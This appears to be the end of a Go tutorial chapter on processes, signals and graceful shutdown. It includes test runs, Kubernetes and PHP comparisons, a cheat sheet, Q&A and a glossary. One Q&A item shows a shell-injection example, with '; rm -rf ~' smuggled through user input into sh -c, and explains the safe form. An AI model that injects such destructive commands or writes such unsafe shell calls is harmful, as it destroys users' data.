# ok academy/os-processes-signals/signals 1.4s2. Graceful shutdown with a request in flight (real)
go build -o /tmp/svc ./graceful/cmd/service
ADDR=127.0.0.1:18080 /tmp/svc > svc.log 2>&1 & # the service
SVC=$!
curl -s -w 'slow: %{http_code} after %{time_total}s\n' http://127.0.0.1:18080/slow & # a 2 s request
sleep 0.5; kill -TERM $SVC # SIGTERM while it is in flight (SVC = pid of the service)
curl -s -o /dev/null -w 'readyz during drain: %{http_code}\n' http://127.0.0.1:18080/readyz
sleep 4; curl -s -o /dev/null -w 'after: %{http_code}\n' http://127.0.0.1:18080/readyz
# finished
# slow: 200 after 2.002413s
# readyz during drain: 503
# after: 000 <- connection refused: the listener is closed
cat svc.log
# level=INFO msg=listening addr=127.0.0.1:18080 pid=63945
# level=INFO msg="shutdown requested" cause="terminated signal received"
# level=INFO msg="readiness off, waiting for the load balancer" delay=1s
# level=INFO msg="http drained"
# level=INFO msg="workers drained"
# level=INFO msg="resources closed"
# level=INFO msg=bye3. Exit codes (real)
# main.go: defer fmt.Fprintln(os.Stderr, "deferred ran"); os.Exit(3) when arg is "exit", else panic("boom")
./x # deferred ran
# panic: boom
#
# goroutine 1 [running]:
# main.main()
# .../main.go:13 +0xa4
echo $? # 2
./x exit; echo $? # 3 (and "deferred ran" is NOT printed)4. A second Ctrl-C (expected, not run in CI)
ADDR=127.0.0.1:18080 ./svc # press Ctrl-C once: the log shows "shutdown requested"
# press Ctrl-C again during the 1 s drain: process exits at once
# (the program calls stop() after the first signal, restoring the default action)5. Linux cgroup CPU limit (expected, not run)
# Go 1.25+, a container limited to 2 CPUs on a 16-core host:
docker run --rm --cpus=2 -v "$PWD":/w -w /w golang:1.25 go run ./procinfo/cmd/procinfo # prints NumCPU and GOMAXPROCS
# expected: NumCPU=16 GOMAXPROCS=2 (Go 1.24: GOMAXPROCS=16)Label: expected, not run. The cgroup-aware default is documented in the Go 1.25 release notes; this machine is not a Linux container host.
6. Kubernetes manifest for the same service (expected, not run)
spec:
terminationGracePeriodSeconds: 40 # > preStop 5 + drain 1 + shutdown 5 + workers 3 + slack
containers:
- name: app
image: example/app:1.0
readinessProbe: {httpGet: {path: /readyz, port: 8080}, periodSeconds: 2}
lifecycle:
preStop: {exec: {command: ["sleep", "5"]}} # covers endpoint propagationFor PHP/Laravel developers
| Task | PHP | Go |
|---|---|---|
| Run a program | proc_open, exec, shell_exec, Symfony Process | exec.Command |
| Shell by default | exec("ls $dir") goes through sh | No shell; opt in with sh -c |
| Timeout | set_time_limit, Symfony Process::setTimeout | CommandContext, WaitDelay |
| Signals | pcntl_signal, pcntl_async_signals(true) (CLI only) | signal.Notify, NotifyContext |
| Graceful stop of a queue worker | php artisan queue:restart, queue:work finishes the current job | Shutdown, worker drain |
| Reload without dropping requests | kill -USR2 the FPM master (graceful reload), SIGQUIT graceful stop | Shutdown; replace the process behind a proxy |
| Who is the process manager | PHP-FPM master | Your binary + systemd or Kubernetes |
<?php
// PHP: pcntl signals exist only in CLI; PHP-FPM requests are not interrupted by them.
pcntl_async_signals(true);
pcntl_signal(SIGTERM, function () use (&$running) { $running = false; });
while ($running) { /* process one job */ }
$proc = proc_open(['git', 'rev-parse', 'HEAD'], [1 => ['pipe', 'w']], $pipes); // array form: no shellPHP-FPM's master process manages workers; SIGQUIT on the master is a graceful stop and SIGUSR2 an FPM graceful reload (it re-executes the master and lets workers finish their requests), and process_control_timeout limits how long workers get to react to signals from the master (default 0). Laravel's queue:work handles SIGTERM by finishing the current job. A Go binary has no master process: your main is the master, so everything this chapter shows is code you own.
Common misconceptions
| Belief | Reality |
|---|---|
defer always runs | Not on os.Exit, log.Fatal, SIGKILL or a fatal runtime error |
kill kills | It sends a signal; only SIGKILL and SIGSTOP cannot be handled |
exec.Command("ls -l") works | It looks for a program named ls -l; arguments are separate strings |
| Non-zero exit means the command failed | It is an ExitError with a code; many tools use codes as answers |
Start is enough | Without Wait you leak a zombie and goroutines |
| Killing the child kills its children | Only a process-group kill (-pgid) does |
ErrServerClosed is an error | It is the normal result of Shutdown |
Shutdown with the signal context works | That context is already cancelled; use a fresh timeout |
Kubernetes removes the pod from the Service before SIGTERM | It happens in parallel; add a preStop sleep |
GOMAXPROCS follows my pod's CPU limit | Only on Go 1.25+, and only for limits, not requests |
| A PID file prevents a second instance | Only a kernel lock does |
| Go programs need to daemonise | Run in the foreground under a supervisor |
Cheat sheet
| Topic | What to remember |
|---|---|
exec.Command | No shell; separate arguments; -- before untrusted values |
CommandContext | Kills on deadline; add Cancel and WaitDelay |
Run / Start+Wait | Always Wait; reads before Wait |
ExitError | ExitCode() is -1 for signal deaths |
| Process group | Setpgid, syscall.Kill(-pid, sig) |
NotifyContext | os.Interrupt, SIGTERM; call stop() to restore default |
Notify channel | Buffered, at least 1 |
SIGKILL | Cannot be caught; design for it |
Shutdown | Fresh timeout context; ErrServerClosed is success |
| Order | Readiness, drain delay, HTTP, workers, flush, close |
| Kubernetes | Grace 30 s default, preStop sleep, readiness off, exit 137 = killed |
| systemd | TimeoutStopSec=, KillMode=control-group, Restart=on-failure |
| Single instance | flock(LOCK_EX|LOCK_NB) |
GOMAXPROCS | Go 1.25 reads cgroup CPU limits; older: automaxprocs |
| Exit | os.Exit skips defers; panic exits 2; main returns 0 |
Self-check: questions & answers
- Must-know asked in almost every interview
- Important frequent; expected at senior level
- Good to know extra depth that sets you apart
1 — Why is exec.Command("sh", "-c", "grep "+userInput+" f") dangerous and what is the safe form? Must-know
Answer
Answer: The shell re-parses the whole string, so ; rm -rf ~ in userInput becomes a second command. Safe form: exec.Command("grep", "--", userInput, "f"), which has no shell; put -- before values that may start with -.
2 — What does ExitCode() return for a child killed by SIGKILL, and how do you see the signal? Important
Answer
Answer: -1. Inspect ProcessState.Sys().(syscall.WaitStatus) and call Signaled() and Signal(). The shell would report 137.
3 — Why can cmd.Wait() hang after the context deadline fires, and what fixes it? Important
Answer
Answer: The kill reaches only the direct child; a grandchild that inherited the stdout pipe keeps it open, so the copying goroutine never sees EOF. Set WaitDelay (Go 1.20+), and kill the process group.
4 — Why must the stdin writer run in its own goroutine when you also read the child's stdout? Important
Answer
Answer: Pipes are bounded. A large input fills the child's stdout pipe, the child blocks and stops reading stdin, and the parent's write blocks: deadlock. Concurrent write and read avoids it.
5 — Which signals can a Go program not catch, and what are the consequences? Must-know
Answer
Answer: SIGKILL and SIGSTOP. No deferred function or shutdown code runs on SIGKILL, so durable state and idempotent restarts are the only defence.
6 — Why is signal.Notify with an unbuffered channel a bug? Important
Answer
Answer: The runtime sends without blocking; if the receiver is not ready, the signal is dropped. Use a buffer of 1 or more, or NotifyContext.
7 — After srv.Shutdown(ctx) is called, what do ListenAndServe and Serve return and why does it matter? Must-know
Answer
Answer: http.ErrServerClosed (http: Server closed), immediately. It is success, and main must keep waiting until Shutdown itself returns or in-flight requests are cut.
8 — Why does a Kubernetes service need a preStop sleep or drain delay even though it handles SIGTERM? Important
Answer
Answer: Endpoint removal and SIGTERM happen in parallel, and proxies and load balancers update with a delay, so traffic can still arrive after SIGTERM. Readiness off plus a delay keeps the listener open while they catch up.
9 — What is the relationship between terminationGracePeriodSeconds, preStop and your shutdown timeouts? Must-know
Answer
Answer: The countdown starts before preStop, so preStop time is spent from the same budget. preStop + drain + Shutdown + workers + close must be under the grace period with slack, or SIGKILL (exit 137) cuts the tail.
10 — Why does flock beat a plain PID file for single-instance checks? Good to know
Answer
Answer: The kernel releases the lock when the process ends, even on a crash, so there is no stale state; a PID file can be left behind and its number reused.
11 — What changed in Go 1.25 about GOMAXPROCS, and what did it not change? Good to know
Answer
Answer: On Linux it defaults to the cgroup CPU bandwidth limit if lower than the CPU count and updates periodically. It ignores Kubernetes CPU requests and is disabled when GOMAXPROCS is set explicitly.
12 — A Go program panics; which exit status does the shell see and do deferred calls run? Must-know
Answer
Answer: 2, and deferred calls run during unwinding before the trace is printed and the process exits.
Glossary
| Term | Meaning |
|---|---|
| Process | A running program with its own address space, PID and exit status |
| PID | Numeric process id; os.Getpid() |
| PPID | Parent's PID; os.Getppid() |
os/exec | Package for starting external programs |
exec.Command | Builds a Cmd; no shell |
exec.CommandContext | Same, killed when the context ends |
Output / CombinedOutput | Run and capture stdout / stdout+stderr |
Run / Start / Wait | Run and wait / start only / reap |
StdinPipe / StdoutPipe | Pipes to the child; create before Start |
ExitError | Error for a non-zero or signal exit; ExitCode() |
exec.LookPath | Finds an executable on PATH |
| Shell injection | Untrusted text parsed by a shell as commands |
SysProcAttr | Platform-specific process attributes (Setpgid, Setsid, ...) |
| Process group | Set of processes signalled together; kill(-pgid) |
| Zombie process | Exited child whose status was not read yet |
| Signal | Asynchronous kernel notification to a process |
SIGTERM | Polite stop request; the orchestrator signal |
SIGINT | Interrupt, Ctrl-C |
SIGHUP | Hang-up; reload convention |
SIGKILL | Uncatchable kill |
SIGQUIT | Quit with goroutine dump |
signal.Notify | Forward signals to a channel |
signal.NotifyContext | Cancel a context on a signal |
| Graceful shutdown | Ordered stop: readiness, drain, close |
Server.Shutdown | Close listeners, wait for active requests |
ErrServerClosed | Normal return value after Shutdown |
| Drain | Let in-flight work finish while refusing new work |
| Readiness probe | Orchestrator check that gates traffic |
preStop hook | Kubernetes hook before SIGTERM |
terminationGracePeriodSeconds | Kubernetes time from delete to SIGKILL |
TimeoutStopSec | systemd wait before SIGKILL |
errgroup | Goroutine group with first-error cancellation |
| PID file | File recording a process id |
flock | Kernel advisory file lock |
| Daemon | Background service; today run by a supervisor |
GOMAXPROCS | Threads that may run Go code at once |
| cgroup CPU limit | Kernel-enforced CPU quota of a container |
automaxprocs | Library that sets GOMAXPROCS from cgroups |
Rlimit | Per-process resource limit, soft and hard |
EMFILE | Process out of file descriptors |
x/sys/unix | Maintained Unix system call package |
References
Opening quote: net/http Server.Shutdown doc comment, Go source.
- Go standard library source (package documentation; pkg.go.dev returns 403 to scripted fetches, so the same doc comments were read from source): os/exec/exec.go, os/exec/exec_unix.go, os/signal/doc.go, os/signal/signal.go, net/http/server.go, os/proc.go, syscall/exec_unix.go, syscall/syscall.go, runtime/cgroup_linux.go
- golang.org/x/sync errgroup source
- Release notes: Go 1.19 (RLIMIT_NOFILE, ErrDot), Go 1.20 (Cmd.Cancel, WaitDelay), Go 1.22, Go 1.23, Go 1.25 (container-aware GOMAXPROCS), Go 1.26; Go 1.25 blog post
- Effective Go, Go FAQ, Go blog: Go Concurrency Patterns: Context
- Kubernetes: Pod Lifecycle, Termination of Pods, Container Lifecycle Hooks
- systemd: systemd.service(5), systemd.kill(5), systemd-system.conf(5)
- Linux man pages: signal(7), flock(2), getrlimit(2)
- uber-go/automaxprocs
- PHP: proc_open, pcntl_signal, FPM configuration